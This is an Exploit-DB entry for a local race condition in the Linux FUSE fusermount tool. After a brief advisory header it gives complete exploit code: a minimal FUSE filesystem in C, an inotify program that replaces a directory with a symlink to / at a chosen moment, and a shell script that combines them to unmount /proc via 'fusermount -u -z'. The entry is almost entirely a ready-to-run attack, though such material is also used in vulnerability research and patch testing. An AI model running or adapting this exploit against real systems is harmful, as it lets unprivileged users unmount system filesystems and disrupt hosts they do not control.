FUSE fusermount Tool - Race Condition

EDB-ID:

34953


Author:

halfdog

Type:

dos


Platform:

Linux

Date:

2010-11-02


source: https://www.securityfocus.com/bid/44623/info
              http://www.halfdog.net/Security/FuseTimerace/

FUSE fusermount tool is prone to a race-condition vulnerability.

A local attacker can exploit this issue to cause a denial of service by unmounting any filesystem of the system. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34953.zip




--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  Copyright (c) 2016 halfdog <me (%) halfdog.net>
 *  See http://www.halfdog.net/Misc/Utils/ for more information.
 *
 *  Minimal userspace file system demo, compile using
 *  gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
 *
 *  See also /usr/include/fuse/fuse.h
 */

#define FUSE_USE_VERSION 28

#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static FILE	*logFile;

static char	*fileNameNormal="/file";
static char	*fileNameCharDev="/chardev";
static char	*fileNameNormalSubFile="/dir/file";

static char	*realFileName="./RealFile";
static int	realFileHandle=-1;

static int io_getattr(const char *path, struct stat *stbuf) {
  fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
      path, stbuf);
  fflush(logFile);

  int res=-ENOENT;
  memset(stbuf, 0, sizeof(struct stat));
  if(strcmp(path, "/") == 0) {
    stbuf->st_mode=S_IFDIR|0755;
    stbuf->st_nlink=2;
    res=0;
  } else if(strcmp(path, fileNameCharDev)==0) {
//    stbuf->st_dev=makedev(5, 2);
    stbuf->st_mode=S_IFCHR|0777;
    stbuf->st_rdev=makedev(5, 2);
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=100;
    res=0;
  } else if(strcmp(path, "/dir")==0) {
    stbuf->st_mode=S_IFDIR|S_ISGID|0777;
    stbuf->st_nlink=1; // Number of hard links
    stbuf->st_size=1<<12;
    res=0;
  } else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    stbuf->st_mode=S_ISUID|S_IFREG|0777;
    stbuf->st_size=100;

    if(realFileName) {
      if(fstat(realFileHandle, stbuf)) {
        fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
            realFileName, errno, strerror(errno));
      } else {
// Just change uid/suid, which is far more interesting during testing
        stbuf->st_mode|=S_ISUID;
        stbuf->st_uid=0;
        stbuf->st_gid=0;
      }
    } else {
      stbuf->st_mode=S_ISUID|S_IFREG|0777;
      stbuf->st_size=100;
    }
    stbuf->st_nlink=1; // Number of hard links
    res=0;
  }

  return(res);
}


static int io_readlink(const char *path, char *buffer, size_t length) {
  fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
      path, buffer, (long)length);
  fflush(logFile);
  return(-1);
}


static int io_unlink(const char *path) {
  fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
  fflush(logFile);
  return(0);
}


static int io_rename(const char *oldPath, const char *newPath) {
  fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
      oldPath, newPath);
  fflush(logFile);
  return(0);
}


static int io_chmod(const char *path, mode_t mode) {
  fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
  fflush(logFile);
  return(0);
}


static int io_chown(const char *path, uid_t uid, gid_t gid) {
  fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
  fflush(logFile);
  return(0);
}


/** Open a file. This function checks access permissions and may
 *  associate a file info structure for future access.
 *  @returns 0 when open OK
 */
static int io_open(const char *path, struct fuse_file_info *fi) {
  fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
  fflush(logFile);

  return(0);
}


static int io_read(const char *path, char *buffer, size_t length,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
      path, buffer, (long)length, (long)offset, fi);
  fflush(logFile);

  if(length<0) return(-1);
  if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
    if(!realFileName) {
      if((offset<0)||(offset>4)) return(-1);
      if(offset+length>4) length=4-offset;
      if(length>0) memcpy(buffer, "xxxx", length);
      return(length);
    }
    if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
      fprintf(stderr, "read: seek on %s failed\n", path);
      return(-1);
    }
    return(read(realFileHandle, buffer, length));
  }
  return(-1);
}


static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
    off_t offset, struct fuse_file_info *fi) {
  fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
      path, buf, filler, ((long)offset), fi);
  fflush(logFile);

  (void) offset;
  (void) fi;
  if(!strcmp(path, "/")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, fileNameCharDev+1, NULL, 0);
    filler(buf, "dir", NULL, 0);
    filler(buf, fileNameNormal+1, NULL, 0);
    return(0);
  } else if(!strcmp(path, "/dir")) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "file", NULL, 0);
    return(0);
  }
  return -ENOENT;
}


static int io_access(const char *path, int mode) {
  fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
      path, mode);
  fflush(logFile);
  return(0);
}


static int io_ioctl(const char *path, int cmd, void *arg,
    struct fuse_file_info *fi, unsigned int flags, void *data) {
  fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
      path, cmd, arg, fi, flags, data);
  fflush(logFile);
  return(0);
}


static struct fuse_operations hello_oper = {
  .getattr	= io_getattr,
  .readlink	= io_readlink,
// .getdir =  deprecated
// .mknod
// .mkdir
  .unlink	= io_unlink,
// .rmdir
// .symlink
  .rename	= io_rename,
// .link
  .chmod	= io_chmod,
  .chown	= io_chown,
// .truncate
// .utime
  .open = io_open,
  .read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
  .readdir	= io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
  .access	= io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
 .ioctl = io_ioctl,
// .poll
};

int main(int argc, char *argv[]) {
  char	buffer[128];

  realFileHandle=open(realFileName, O_RDWR);
  if(realFileHandle<0) {
    fprintf(stderr, "Failed to open %s\n", realFileName);
    exit(1);
  }

  snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
  logFile=fopen(buffer, "a");
  if(!logFile) {
    fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
    return(1);
  }
  fprintf(logFile, "Starting fuse init\n");
  fflush(logFile);

  return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---

--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
 *  given directory with symlink.
 *
 *  Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
 *      --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
 *
 *  Parameters:
 *  * --MoveTarget: If set, move path to that target location before
 *    attempting to symlink.
 *  * --LinkTarget: If set, the MovePath is replaced with link to
 *    this path
 *
 *  Compile:
 *  gcc -o DirModifyInotify DirModifyInotify.c
 *
 *  Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char **argv) {
  char	*movePath=NULL;
  char	*newDirName=NULL;
  char	*symlinkTarget=NULL;

  int	argPos;
  int	handle;
  int	inotifyHandle;
  int	inotifyDataSize=sizeof(struct inotify_event)*16;
  struct inotify_event *inotifyData;
  int	randomVal;
  int	callCount;
  int	targetCallCount=0;
  int	verboseFlag=0;
  int	result;

  if(argc<4) return(1);
  inotifyHandle=inotify_init();

  for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Verbose")) {
      verboseFlag=1;
      continue;
    }

    if(!strcmp(argv[argPos], "--LinkTarget")) {
      argPos++;
      if(argPos==argc) return(1);
      symlinkTarget=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MovePath")) {
      argPos++;
      if(argPos==argc) return(1);
      movePath=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MoveTarget")) {
      argPos++;
      if(argPos==argc) return(1);
      newDirName=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--Watch")) {
      argPos++;
      if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
      result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
      if(result==-1) {
        fprintf(stderr, "Failed to add watch path %s, error %d\n",
            argv[argPos], errno);
        return(1);
      }
      continue;
    }

    if(!strcmp(argv[argPos], "--WatchCount")) {
      argPos++;
      if(argPos==argc) return(1);
      targetCallCount=atoi(argv[argPos]);
      continue;
    }

    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
  }

  if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
        "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
        "    --LinkTarget [path]\n");
    return(1);
  }

  fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory if not already defined.
  if(!newDirName) {
    newDirName=(char*)malloc(strlen(movePath)+256);
    sprintf(newDirName, "%s-moved", movePath);
  }
  inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

  for(callCount=0; ; callCount++) {
    result=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
      rename(movePath, newDirName);
//      rmdir(movePath);
      if(symlinkTarget) symlink(symlinkTarget, movePath);
      fprintf(stderr, "Move triggered at count %d\n", callCount);
      break;
    }
    if(verboseFlag) {
      fprintf(stderr, "Received notify %d, result %d, error %s\n",
          callCount, result, (result<0?strerror(errno):NULL));
    }
    if(result<0) {
      break;
    }
  }
  return(0);
}
--- EOF ---

--- Test.sh ---
#!/bin/bash
#
# Copyright (c) halfdog <me (%) halfdog.net>
#
# This software is provided by the copyright owner "as is" to
# study it but without any expressed or implied warranties, that
# this software is fit for any other purpose. If you try to compile
# or run it, you do it solely on your own risk and the copyright
# owner shall not be liable for any direct or indirect damage
# caused by this software.

mkdir -p tmp/proc
(cd tmp/proc; sleep 1; ../../FuseMinimal .) &
(./DirModifyInotify --Watch tmp/proc --Watch /etc/mtab --WatchCount 8 --MovePath tmp --LinkTarget /) &
sleep 3
fusermount -u -z /proc/
# Check that proc was unmounted by running ps
ps aux
--- EOF ---